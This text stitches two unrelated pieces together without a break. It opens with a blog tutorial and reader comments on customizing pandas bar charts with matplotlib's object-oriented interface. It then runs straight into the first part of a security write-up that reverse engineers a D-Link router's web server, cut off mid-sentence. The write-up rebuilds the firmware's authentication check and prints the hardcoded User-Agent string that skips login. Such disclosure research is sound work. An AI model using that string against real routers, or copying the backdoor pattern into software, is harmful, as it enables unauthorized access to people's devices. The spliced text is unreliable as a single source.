the python data science stack and hope this article will help people
understand how to use it for their own visualizations.

## Why all the negativity towards matplotlib?

In my opinion, there are a couple of reasons why matplotlib is challenging for
the new user to learn.

First, matplotlib has two interfaces. The first is based on MATLAB and uses a
state-based interface. The second option is an an object-oriented interface.
The why’s of this dual approach are outside the scope of this post but
_knowing_ that there are two approaches is vitally important when plotting
with matplotlib.

The reason two interfaces cause confusion is that in the world of stack
overflow and tons of information available via google searches, new users will
stumble across multiple solutions to problems that look somewhat similar but
are not the same. I can speak from experience. Looking back on some of my old
code, I can tell that there is a mishmash of matplotlib code - which is
confusing to me \(even if I wrote it\).

Key Point

New matplotlib users should learn and use the object oriented interface.

Another historic challenge with matplotlib is that some of the default style
choices were rather unattractive. In a world where R could generate some
really cool plots with ggplot, the matplotlib options tended to look a bit
ugly in comparison. The good news is that matplotlib 2.0 has much nicer
styling capabilities and ability to theme your visualizations with minimal
effort.

The third challenge I see with matplotlib is that there is confusion as to
when you should use pure matplotlib to plot something vs. a tool like pandas
or seaborn that is built on top of matplotlib. Anytime there can be more than
one way to do something, it is challenging for the new or infrequent user to
follow the right path. Couple this confusion with the two different API’s and
it is a recipe for frustration.

## Why stick with matplotlib?

Despite some of these issues, I have come to appreciate matplotlib because it
is extremely powerful. The library allows you to create almost any
visualization you could imagine. Additionally, there is a rich ecosystem of
python tools built around it and many of the more advanced visualization tools
use matplotlib as the base library. If you do any work in the python data
science stack, you will need to develop some basic familiarity with how to use
matplotlib. That is the focus of the rest of this post - developing a basic
approach for effectively using matplotlib.

## Basic Premises

If you take nothing else away from this post, I recommend the following steps
for learning how to use matplotlib:

  1. Learn the basic matplotlib terminology, specifically what is a ` Figure` and an ` Axes` .
  2. Always use the object-oriented interface. Get in the habit of using it from the start of your analysis.
  3. Start your visualizations with basic pandas plotting.
  4. Use seaborn for the more complex statistical visualizations.
  5. Use matplotlib to customize the pandas or seaborn visualization.

This graphic from the matplotlib faq is gold. Keep it handy to understand the
different terminology of a plot.

<img src='img/Temp2_2536.png' width='608' height='593' alt='Matplotlib parts'
/>

Most of the terms are straightforward but the main thing to remember is that
the ` Figure` is the final image that may contain 1 or more axes. The ` Axes`
represent an individual plot. Once you understand what these are and how to
access them through the object oriented API, the rest of the process starts to
fall into place.

The other benefit of this knowledge is that you have a starting point when you
see things on the web. If you take the time to understand this point, the rest
of the matplotlib API will start to make sense. Also, many of the advanced
python packages like seaborn and ggplot rely on matplotlib so understanding
the basics will make those more powerful frameworks much easier to learn.

Finally, I am not saying that you should avoid the other good options like
ggplot \(aka ggpy\), bokeh, plotly or altair. I just think you’ll need a basic
understanding of matplotlib + pandas + seaborn to start. Once you understand
the basic visualization stack, you can explore the other options and make
informed choices based on your needs.

## Getting Started

The rest of this post will be a primer on how to do the basic visualization
creation in pandas and customize the most common items using matplotlib. Once
you understand the basic process, further customizations are relatively
straightforward.

I have focused on the most common plotting tasks I encounter such as labeling
axes, adjusting limits, updating plot titles, saving figures and adjusting
legends. If you would like to follow along, the notebook includes additional
detail that should be helpful.

To get started, I am going to setup my imports and read in some data:

[code]

    import pandas as pd
    import matplotlib.pyplot as plt
    from matplotlib.ticker import FuncFormatter
    
    df = pd.read_excel("https://github.com/chris1610/pbpython/blob/master/data/sample-salesv3.xlsx?raw=true")
    df.head()
    
[/code]

| account number | name | sku | quantity | unit price | ext price | date  
---|---|---|---|---|---|---|---  
0 | 740150 | Barton LLC | B1-20000 | 39 | 86.69 | 3380.91 | 2014-01-01 07:21:51  
1 | 714466 | Trantow-Barrows | S2-77896 | -1 | 63.16 | -63.16 | 2014-01-01 10:00:47  
2 | 218895 | Kulas Inc | B1-69924 | 23 | 90.70 | 2086.10 | 2014-01-01 13:24:58  
3 | 307599 | Kassulke, Ondricka and Metz | S1-65481 | 41 | 21.05 | 863.05 | 2014-01-01 15:05:22  
4 | 412290 | Jerde-Hilpert | S2-34077 | 6 | 83.21 | 499.26 | 2014-01-01 23:26:55  
The data consists of sales transactions for 2014. In order to make this post a
little shorter, I’m going to summarize the data so we can see the total number
of purchases and total sales for the top 10 customers. I am also going to
rename columns for clarity during plots.

[code]

    top_10 = (df.groupby('name')['ext price', 'quantity'].agg({'ext price': 'sum', 'quantity': 'count'})
              .sort_values(by='ext price', ascending=False))[:10].reset_index()
    top_10.rename(columns={'name': 'Name', 'ext price': 'Sales', 'quantity': 'Purchases'}, inplace=True)
    
[/code]

Here is what the data looks like.

| Name | Purchases | Sales  
---|---|---|---  
0 | Kulas Inc | 94 | 137351.96  
1 | White-Trantow | 86 | 135841.99  
2 | Trantow-Barrows | 94 | 123381.38  
3 | Jerde-Hilpert | 89 | 112591.43  
4 | Fritsch, Russel and Anderson | 81 | 112214.71  
5 | Barton LLC | 82 | 109438.50  
6 | Will LLC | 74 | 104437.60  
7 | Koepp Ltd | 82 | 103660.54  
8 | Frami, Hills and Schmidt | 72 | 103569.59  
9 | Keeling LLC | 74 | 100934.30  
Now that the data is formatted in a simple table, let’s talk about plotting
these results as a bar chart.

As I mentioned earlier, matplotlib has many different styles available for
rendering plots. You can see which ones are available on your system using `
plt.style.available` .

[code]

    plt.style.available
    
[/code]

[code]

    ['seaborn-dark',
     'seaborn-dark-palette',
     'fivethirtyeight',
     'seaborn-whitegrid',
     'seaborn-darkgrid',
     'seaborn',
     'bmh',
     'classic',
     'seaborn-colorblind',
     'seaborn-muted',
     'seaborn-white',
     'seaborn-talk',
     'grayscale',
     'dark_background',
     'seaborn-deep',
     'seaborn-bright',
     'ggplot',
     'seaborn-paper',
     'seaborn-notebook',
     'seaborn-poster',
     'seaborn-ticks',
     'seaborn-pastel']
    
[/code]

Using a style is as simple as:

[code]

    plt.style.use('ggplot')
    
[/code]

I encourage you to play around with different styles and see which ones you
like.

Now that we have a nicer style in place, the first step is to plot the data
using the standard pandas plotting function:

[code]

    top_10.plot(kind='barh', y="Sales", x="Name")
    
[/code]

<img src='img/Temp2_2532.png' width='527' height='252' alt='Pandas plot 1' />

The reason I recommend using pandas plotting first is that it is a quick and
easy way to prototype your visualization. Since most people are probably
already doing some level of data manipulation/analysis in pandas as a first
step, go ahead and use the basic plots to get started.

## Customizing the Plot

Assuming you are comfortable with the gist of this plot, the next step is to
customize it. Some of the customizations \(like adding titles and labels\) are
very simple to use with the pandas ` plot` function. However, you will
probably find yourself needing to move outside of that functionality at some
point. That’s why I recommend getting in the habit of doing this:

[code]

    fig, ax = plt.subplots()
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax)
    
[/code]

The resulting plot looks exactly the same as the original but we added an
additional call to ` plt.subplots()` and passed the ` ax` to the plotting
function. Why should you do this? Remember when I said it is critical to get
access to the axes and figures in matplotlib? That’s what we have accomplished
here. Any future customization will be done via the ` ax` or ` fig` objects.

We have the benefit of a quick plot from pandas but access to all the power
from matplotlib now. An example should show what we can do now. Also, by using
this naming convention, it is fairly straightforward to adapt others’
solutions to your unique needs.

Suppose we want to tweak the x limits and change some axis labels? Now that we
have the axes in the ` ax` variable, we have a lot of control:

[code]

    fig, ax = plt.subplots()
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax)
    ax.set_xlim([-10000, 140000])
    ax.set_xlabel('Total Revenue')
    ax.set_ylabel('Customer');
    
[/code]

<img src='img/Temp2_2540.png' width='537' height='269' alt='Pandas plot 2' />

Here’s another shortcut we can use to change the title and both labels:

[code]

    fig, ax = plt.subplots()
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax)
    ax.set_xlim([-10000, 140000])
    ax.set(title='2014 Revenue', xlabel='Total Revenue', ylabel='Customer')
    
[/code]

<img src='img/Temp2_2541.png' width='537' height='282' alt='Pandas plot 3' />

To further demonstrate this approach, we can also adjust the size of this
image. By using the ` plt.subplots()` function, we can define the ` figsize`
in inches. We can also remove the legend using `
ax.legend().set_visible(False)`

[code]

    fig, ax = plt.subplots(figsize=(5, 6))
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax)
    ax.set_xlim([-10000, 140000])
    ax.set(title='2014 Revenue', xlabel='Total Revenue')
    ax.legend().set_visible(False)
    
[/code]

<img src='img/Temp2_2539.png' width='481' height='391' alt='Pandas plot 4' />

There are plenty of things you probably want to do to clean up this plot. One
of the biggest eye sores is the formatting of the Total Revenue numbers.
Matplotlib can help us with this through the use of the ` FuncFormatter` .
This versatile function can apply a user defined function to a value and
return a nicely formatted string to place on the axis.

Here is a currency formatting function to gracefully handle US dollars in the
several hundred thousand dollar range:

[code]

    def currency(x, pos):
        'The two args are the value and tick position'
        if x >= 1000000:
            return '${:1.1f}M'.format(x*1e-6)
        return '${:1.0f}K'.format(x*1e-3)
    
[/code]

Now that we have a formatter function, we need to define it and apply it to
the x axis. Here is the full code:

[code]

    fig, ax = plt.subplots()
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax)
    ax.set_xlim([-10000, 140000])
    ax.set(title='2014 Revenue', xlabel='Total Revenue', ylabel='Customer')
    formatter = FuncFormatter(currency)
    ax.xaxis.set_major_formatter(formatter)
    ax.legend().set_visible(False)
    
[/code]

<img src='img/Temp2_2538.png' width='534' height='282' alt='Pandas plot 5' />

That’s much nicer and shows a good example of the flexibility to define your
own solution to the problem.

The final customization feature I will go through is the ability to add
annotations to the plot. In order to draw a vertical line, you can use `
ax.axvline()` and to add custom text, you can use ` ax.text()` .

For this example, we’ll draw a line showing an average and include labels
showing three new customers. Here is the full code with comments to pull it
all together.

[code]

    # Create the figure and the axes
    fig, ax = plt.subplots()
    
    # Plot the data and get the averaged
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax)
    avg = top_10['Sales'].mean()
    
    # Set limits and labels
    ax.set_xlim([-10000, 140000])
    ax.set(title='2014 Revenue', xlabel='Total Revenue', ylabel='Customer')
    
    # Add a line for the average
    ax.axvline(x=avg, color='b', label='Average', linestyle='--', linewidth=1)
    
    # Annotate the new customers
    for cust in [3, 5, 8]:
        ax.text(115000, cust, "New Customer")
    
    # Format the currency
    formatter = FuncFormatter(currency)
    ax.xaxis.set_major_formatter(formatter)
    
    # Hide the legend
    ax.legend().set_visible(False)
    
[/code]

<img src='img/Temp2_2537.png' width='535' height='282' alt='Pandas plot 6' />

While this may not be the most exciting plot it does show how much power you
have when following this approach.

## Figures and Plots

Up until now, all the changes we have made have been with the indivudual plot.
Fortunately, we also have the ability to add multiple plots on a figure as
well as save the entire figure using various options.

If we decided that we wanted to put two plots on the same figure, we should
have a basic understanding of how to do it. First, create the figure, then the
axes, then plot it all together. We can accomplish this using `
plt.subplots()` :

[code]

    fig, (ax0, ax1) = plt.subplots(nrows=1, ncols=2, sharey=True, figsize=(7, 4))
    
[/code]

In this example, I’m using ` nrows` and ` ncols` to specify the size because
this is very clear to the new user. In sample code you will frequently just
see variables like 1,2. I think using the named parameters is a little easier
to interpret later on when you’re looking at your code.

I am also using ` sharey=True` so that the yaxis will share the same labels.

This example is also kind of nifty because the various axes get unpacked to `
ax0` and ` ax1` . Now that we have these axes, you can plot them like the
examples above but put one plot on ` ax0` and the other on ` ax1` .

[code]

    # Get the figure and the axes
    fig, (ax0, ax1) = plt.subplots(nrows=1,ncols=2, sharey=True, figsize=(7, 4))
    top_10.plot(kind='barh', y="Sales", x="Name", ax=ax0)
    ax0.set_xlim([-10000, 140000])
    ax0.set(title='Revenue', xlabel='Total Revenue', ylabel='Customers')
    
    # Plot the average as a vertical line
    avg = top_10['Sales'].mean()
    ax0.axvline(x=avg, color='b', label='Average', linestyle='--', linewidth=1)
    
    # Repeat for the unit plot
    top_10.plot(kind='barh', y="Purchases", x="Name", ax=ax1)
    avg = top_10['Purchases'].mean()
    ax1.set(title='Units', xlabel='Total Units', ylabel='')
    ax1.axvline(x=avg, color='b', label='Average', linestyle='--', linewidth=1)
    
    # Title the figure
    fig.suptitle('2014 Sales Analysis', fontsize=14, fontweight='bold');
    
    # Hide the legends
    ax1.legend().set_visible(False)
    ax0.legend().set_visible(False)
    
[/code]

<img src='img/Temp2_2535.png' width='577' height='294' alt='Pandas plot 7' />

Up until now, I have been relying on the jupyter notebook to display the
figures by virtue of the ` %matplotlib inline` directive. However, there are
going to be plenty of times where you have the need to save a figure in a
specific format and integrate it with some other presentation.

Matplotlib supports many different formats for saving files. You can use `
fig.canvas.get_supported_filetypes()` to see what your system supports:

[code]

    fig.canvas.get_supported_filetypes()
    
[/code]

[code]

    {'eps': 'Encapsulated Postscript',
     'jpeg': 'Joint Photographic Experts Group',
     'jpg': 'Joint Photographic Experts Group',
     'pdf': 'Portable Document Format',
     'pgf': 'PGF code for LaTeX',
     'png': 'Portable Network Graphics',
     'ps': 'Postscript',
     'raw': 'Raw RGBA bitmap',
     'rgba': 'Raw RGBA bitmap',
     'svg': 'Scalable Vector Graphics',
     'svgz': 'Scalable Vector Graphics',
     'tif': 'Tagged Image File Format',
     'tiff': 'Tagged Image File Format'}
    
[/code]

Since we have the ` fig` object, we can save the figure using multiple
options:

[code]

    fig.savefig('sales.png', transparent=False, dpi=80, bbox_inches="tight")
    
[/code]

This version saves the plot as a png with opaque background. I have also
specified the dpi and ` bbox_inches="tight"` in order to minimize excess white
space.

## Conclusion

Hopefully this process has helped you understand how to more effectively use
matplotlib in your daily data analysis. If you get in the habit of using this
approach when doing your analysis, you should be able to quickly find out how
to do whatever you need to do to customize your plot.

As a final bonus, I am including a quick guide to unify all the concepts. I
hope this helps bring this post together and proves a handy reference for
future use.

<img src='img/Temp2_2534.png' width='813' height='475' alt='Matplotlib
example' />

  * ← Understanding the Transform Function in Pandas
  * How Accurately Can Prophet Project Website Traffic? →

Tags __ pandas __ matplotlib

* * *
__Tweet

Share|  17  
---|---  
2

Vote

inShare.247

reddit

UpvoteDownvote9 points

## Comments

  * 40 comments
  * **pbpython.com**
  * Login
  * 1

  *  Recommend 6
  * ⤤ Share
  * Sort by Best

<img src='img/3422_noavatar92.7b2fde640943965cc88df0cdee365907.png' width='48'
height='48' alt='Avatar' />

Join the discussion…

  

  * Attach

###### Log in with

  *   *   *   * 

######  or sign up with Disqus

?

### Disqus is a discussion network

  * Disqus never moderates or censors. The rules on this community are its own.
  * Don't be a jerk or do anything illegal. Everything is easier that way.

Read full terms and conditions

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

pauloneves • 2 months ago

Just to say thanks for the nice writeup. I've been doing dirty plots from
examples in the web. This post really clarified all the basic concepts for me.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Denis Akhiyarov • 2 months ago

I think the main concern people have with matplotlib is it's limited
interactivity in notebooks when compared to bokeh, plotly and bqplot. This
recently started to be addressed with \`%matplotlib notebook\` magic. Next
level would be integration with ipywidgets.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Neal McBurnett _>_ Denis Akhiyarov • 2 months ago

Exactly\! Especially ways to select or hover over data points and learn about
them via popups, which I don't see in ipywidgets offhand

      *         * −
        *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Denis Akhiyarov _>_ Neal McBurnett • 2 months ago

\`%matplotlib notebook\` magic already provides tooltip in right lower corner
with info on data points when hovering over them. This is very limited, but
still addresses the main use case \(x & y coordinates\).

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Georgy Ayzel _>_ Denis Akhiyarov • 2 months ago

One of the core possibility to play with mpl figure is to use %matplotlib
notebook notation instead of standard %matplotlib inline

      *         * −
        *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Denis Akhiyarov _>_ Georgy Ayzel • 2 months ago

exactly, but you can also play with the figure much more in the qt backend,
when the matplotlib figure is displayed in a popup window. What I would like
to is switch between notebook and qt backends with a click of a button.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Denis Akhiyarov • 2 months ago

I agree as well. I have not played with the notebook magic yet but am
definitely interested in learning more about that functionality.

      *         * −
        *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Denis Akhiyarov _>_ Chris Moffitt • 2 months ago

notebook magic is much nicer than inline, especially if you need to zoom
in/out on the plots without re-running the plotting code.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Lincoln Frias • 2 months ago

Awesome, very helpful. Thanks\!

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Ben Dundee • 7 hours ago

This post is gold, and where was that figure 5 years ago when I started
playing with matplotlib? You hit the nail on the head -- matplotlib has a
rough reputation because the API has a steep learning curve. I've generally
exported data frames to excel and played there.

Great post\!

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Kadir • 14 hours ago

Thank you for the great article\!  
Your approach the the easiest and cleanest I've seen so far...  
I didn't even know that I can further customize plots created by pandas,
seaborn etc so easily...

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Damien Irving • 2 days ago

How would a newcomer know if they are using the state-based or object-oriented
interface?

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Damien Irving • 2 days ago

That is a good question. The stateful interface looks like this:  
plt.figure\(\)  
plt.subplot\(\)  
plt.gcf\(\) \# \[get current figure\]  
plt.gca\(\) \# \[get current axis\]

Each command updates the current figure. It is relatively simple but gets hard
with complex plots.

The Object Oriented interface calls methods of specific figures and axes. It
looks more like  
fig, ax = plt.subplots\(\)  
ax\[0\].plot\(\)  
ax\[1\].plot\(\)

The real challenge is that it is difficult \(especially for the new user\) to
differentiate - especially when you're just trying to make a simple plot. My
hope with this post was to get people more used to the Object Oriented
approach because its a better long term approach and is generally more
consistent with other python OO interfaces.

Hope that helps\!

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

David Ross • a month ago

Simply knowing there are two interfaces to matplotlib explains why I've had a
hard time customising plots in the past. This tutorial has really cleared up a
lot of issues I have had so thank you\! I was wondering if you know where
within the matplotlib docs it explains how to customise all of the plot
parameters \(major tick font size, set ylabel etc.\) using only the object
orientated interface?

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Tim Hopper _>_ David Ross • 6 hours ago

I'm hoping to add that to pythonplot.com at some point.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ David Ross • a month ago

To be honest, I find that looking through the gallery and examples on the
matplotlib site is the best way to understand how to use it. I have not been
able to find one really good simple page with what you're referring to.

      *         * −
        *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

David Ross _>_ Chris Moffitt • a month ago

Damn that's ashame. Thanks\!

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

uuplusu • a month ago

The best guide I have ever seen.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Duk Dos • a month ago

Thanks, your article really helps to underestand some basic concepts

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Jonathan Nyquist • 2 months ago

Really nice\! Minor point: The blue line for the average has a label in the
code that does not appear in the plot.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Jonathan Nyquist • 2 months ago

Oops. I must have used the wrong image. Thanks for pointing it out.

      *         * −
        *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Jonathan Nyquist _>_ Chris Moffitt • 2 months ago

Not sure you did. I tried something similar and no label appeared.

        *           * −
          *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Boris Dieseldorff _>_ Jonathan Nyquist • 21 days ago

The label argument is used if you generate a legend.  
Since no legend is visible, there's nothing for it to do.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Brendan @ LearnDataSci • 2 months ago

Excellent intro. Matplotlib is just so easy to use with iPython notebooks. Is
it your preferred choice for plotting now?

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Brendan @ LearnDataSci • 2 months ago

I tend to use seaborn for the more complex visualizations and then matplotlib
for customization. I definitely use ipython notebooks for my working
environment. If it gets really involved and I intend to run frequently, I'll
develop a standalone script but that is not that common.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Monne Ng • 2 months ago

I also got confused by the different interfaces, so this is very useful,
thanks\!

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Bob • 2 months ago

I get an error using python3.5

KeyError: \('ext price', 'quantity'\)

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Micky _>_ Bob • 21 days ago

Me too

      *         * −
        *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Micky • 21 days ago

I'm not sure why this would happen. I run the code fine in python 3.5. It
seems like the data may not be read in properly. What version of pandas are
you using?

        *           * −
          *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Micky _>_ Chris Moffitt • 20 days ago

Thanks a lot. I find my pandas version is too old. When I installed a new
version. The code is available.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Lyndon Ollar • 2 months ago

Thanks, as someone who picked up ggplot first, I have been making the mistake
of following random matplotlib examples for a while. This was a nice concise
write up that really laid the basics out for me. I think matplotlib will be
easier from here out.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Lyndon Ollar • 2 months ago

I have very limited experience with ggplot so I have not had to do a lot of
customization to make a plot work for me. I'll be curious to hear how your
journey goes. Good luck\!

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Andy Carter • 2 months ago

Have been getting into pandas and seaborn at work lately; this blog has been
invaluable and this latest post is the icing on the cake\! Cheers Chris.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Andy Carter • 2 months ago

Great\! I'm really glad to hear its been useful.

  *     * −
    *  _⚑_
<img src='img/noavatar92.png' width='48' height='48' alt='Avatar' />

Daniel Kremer • 2 months ago

Great write up here. I generate quite a few plots for work with matplotlib,
and there are some cool little things here, that some times you just don't
think of.

Ex. Calling both subplots \(ax0, ax1\) at figure initialization . I always did
it separately, this is way better\!

Thanks for the snippets.

    *       * −
      *  _⚑_
<img src='img/noavatar92.png' width='36' height='36' alt='Avatar' />

Chris Moffitt Mod _>_ Daniel Kremer • 2 months ago

Glad it helped.

## Also on **pbpython.com**

  * ###  Creating Advanced Excel Workbooks with Python
    * 3 comments •
    * 2 years ago•
gamesbook —  "XlsxWriter allows you to create an Excel file from scratch but
it does not support copying data from an existing workbook and including it in
a new …

  * ### Tips for Customizing Your IPython and Pandas Display
    * 3 comments •
    * 2 years ago•
Daniel Golden —  You mentioned using different matplotlib styles. Don't forget
to mention that just importing seaborn will update the default matplotlib …

  * ### Creating Pandas DataFrames from Lists and Dictionaries
    * 11 comments •
    * 10 months ago•
ATUL VARSHNEY — Hey. I want to insert my data frame in list ya dictionary in
python. if u can write the code. then please share.

  * ### Adding a Simple GUI to Your Pandas Script - Practical Business Python
    * 33 comments •
    * 2 years ago•
Chris Moffitt — I have seen Wooey and definitely want to check it out... Maybe
in another article.

  * Powered by Disqus
  *  _✉_ Subscribe _✔_
  *  _d_ Add Disqus to your site
  *  _🔒_ Privacy

<img src='' width='0' height='0' /><img src='' width='0' height='0' />

<img src='' width='0' height='0' /><img src='' width='0' height='0' />

#### __ Social

  * __ Github 
  * __ Twitter 
  * __ BitBucket 
  * __ Reddit 
  * __ LinkedIn 

#### __ Categories

  * __ articles
  * __ news

#### __ Popular

  * __ Pandas Pivot Table Explained
  * __ Common Excel Tasks Demonstrated in Pandas
  * __ Overview of Python Visualization Tools
  * __ Web Scraping - It's Your Civic Duty
  * __ Simple Graphing with IPython and Pandas

#### __ Tags

__ csv  __ scikit-learn  __ matplot  __ s3  __ plotting  __ pandas  __
seaborn  __ powerpoint  __ python  __ jinja  __ analyze-this  __ ipython
__ pelican  __ stdlib  __ cases  __ word  __ plotly  __ pdf  __ excel
__ pygal  __ matplotlib  __ xlwings  __ xlsxwriter  __ gui  __ google
__ oauth2  __ vcs  __ sets  __ ggplot  __ barnum  __ github  __
beautifulsoup  __ bokeh  __ process  __ notebooks

#### __ Feeds

  * __ Atom Feed

* * *
#### __ Disclosure

We are a participant in the Amazon Services LLC Associates Program, an
affiliate advertising program designed to provide a means for us to earn fees
by linking to Amazon.com and affiliated sites.

Ⓒ 2017 Practical Business Python • Site built using Pelican • Theme based on
VoidyBootstrap by RKI

  

# Reverse Engineering a D-Link Backdoor - /dev/ttyS0

**Created:**| _10/13/2013 8:17:49 AM_  
---|---  
**Updated:**| _10/13/2013 8:17:49 AM_  
**Author:**| __  
**Tags:**| _rootkits Embedded network-security routers_  
  

# **R** everse Engineering a D-Link Backdoor****

All right**.** It’s Saturday night, I have no date, a two-liter bottle of
Shasta and my all-Rush mix-tape…let’s hack **.**

On a whim I downloaded firmware v1**.** 13  for the DIR-100 revA**.** Binwalk
quickly found and extracted a SquashFS file system, and soon I had the
firmware’s web server \(/bin/webs\) loaded into IDA:

<img src='img/Temp2_6915.png' alt='Strings inside /bin/webs' />

Strings inside /bin/webs

Based on the above strings listing, the /bin/webs binary is a modified version
of thttpd which provides the administrative interface for the router**.** It
appears to have been modified by Alphanetworks \(a spin-off  of D-Link\)**.**
They were even thoughtful enough to prepend many of their custom function
names with the string “alpha”:

<img src='img/Temp2_6912.png' alt='Alphanetworks' custom functions' />

Alphanetworks’ custom functions

The **alpha\_auth\_check** function sounds interesting**\!**

This function is called from a couple different locations, most notably from
**alpha\_httpd\_parse\_request** :

<img src='img/Temp2_6913.png' alt='Function call to alpha_auth_check' />

Function call to alpha\_auth\_check

We can see that **alpha\_auth\_check** is passed one argument \(whatever is
stored in register $s2\); if **alpha\_auth\_check** returns -1 \(0xFFFFFFFF\),
the code jumps to the end of **alpha\_httpd\_parse\_request** , otherwise it
continues processing the request**.**

Some further examination of the use of register $s2 prior to the
**alpha\_auth\_check** call indicates that it is a pointer to a data structure
which contains char\* pointers to various pieces of the received HTTP request,
such as HTTP headers and the requested URL:

<img src='img/Temp2_6910.png' alt='$s2 is a pointer to a data structure' />

$s2 is a pointer to a data structure

We can now define a function prototype for **alpha\_auth\_check** and begin to
enumerate elements of the data structure:

>
[code]

>     struct http_request_t
>     {
>         char unknown[0xB8];
>         char *url; // At offset 0xB8 into the data structure
>     };
>  
>     int alpha_auth_check(struct http_request_t *request);
>  
[/code]

**alpha\_auth\_check** itself is a fairly simple function**.** It does a few
strstr’s and strcmp’s against some pointers in the **http\_request\_t**
structure, then calls **check\_login** , which actually does the
authentication check**.** If the calls to any of the strstr’s / strcmp’s or
**check\_login** succeed, it returns 1; else, it redirects the browser to the
login page and returns -1:

<img src='img/Temp2_6907.png' alt='alpha_auth_check code snippet' />

alpha\_auth\_check code snippet

Those strstr’s look interesting**.** They take the requested URL \(at offset
0xB8 into the **http\_request\_t** data structure, as previously noted\) and
check to see if it contains the strings “graphic/” or “public/”**.** These are
sub-directories under the device’s web directory, and if the requested URL
contains one of those strings, then the request is allowed without
authentication**.**

It is the final strcmp however, which proves a bit more compelling:

<img src='img/Temp2_6914.png' alt='An interesting string comparison in
alpha_auth_check' />

An interesting string comparison in alpha\_auth\_check

This is performing a strcmp between the string pointer at offset 0xD0 inside
the **http\_request\_t** structure and the string
“xmlset\_roodkcableoj28840ybtide”; if the strings match, the **check\_login**
function call is skipped and **alpha\_auth\_check** returns 1 \(authentication
OK\)**.**

A quick Google for the “xmlset\_roodkcableoj28840ybtide” string turns up only
a single Russian forum post  from a few years ago, which notes that this is an
“interesting line” inside the /bin/webs binary**.** I’d have to agree**.**

So what is this mystery string getting compared against**?** If we look back
in the call tree, we see that the **http\_request\_t** structure pointer is
passed around by a few functions:

<img src='img/Temp2_6911.png' alt='call_graph' />

It turns out that the pointer at offset 0xD0 in the **http\_request\_t**
structure is populated by the **httpd\_parse\_request** function:

<img src='img/Temp2_6909.png' alt='Checks for the User-Agent HTTP header' />

Checks for the User-Agent HTTP header

<img src='img/Temp2_6906.png' alt='Populates http_request_t + 0xD0 with a
pointer to the User-Agent header string' />

Populates http\_request\_t + 0xD0 with a pointer to the User-Agent header
string

This code is effectively:

>
[code]

>     if(strstr(header, "User-Agent:") **!** = NULL)
>     {
>         http_request_t->0xD0 = header + strlen("User-Agent:") +
> strspn(header, " \t");
>     }
>  
[/code]

Knowing that offset 0xD0 in **http\_request\_t** contains a pointer to the
User-Agent header, we can now re-construct the **alpha\_auth\_check**
function:

>
[code]

>     #define AUTH_OK 1
>     #define AUTH_FAIL -1
>  
>     int alpha_auth_check(struct http_request_t *request)
>     {
>         if(strstr(request->url, "graphic/") ||
>            strstr(request->url, "public/") ||
>            strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") ==
> 0)
>         {
>             return AUTH_OK;
>         }
>         else
>         {
>             // These arguments are probably user/pass or session info
>             if(check_login(request->0xC, request->0xE0) **!** = 0)
>             {
>                 return AUTH_OK;
>             }
>         }
>  
>         return AUTH_FAIL;
>     }
>  
[/code]

In other words, if your browser’s user agent string is
“xmlset\_roodkcableoj28840ybtide” \(no quotes\), you can access the web
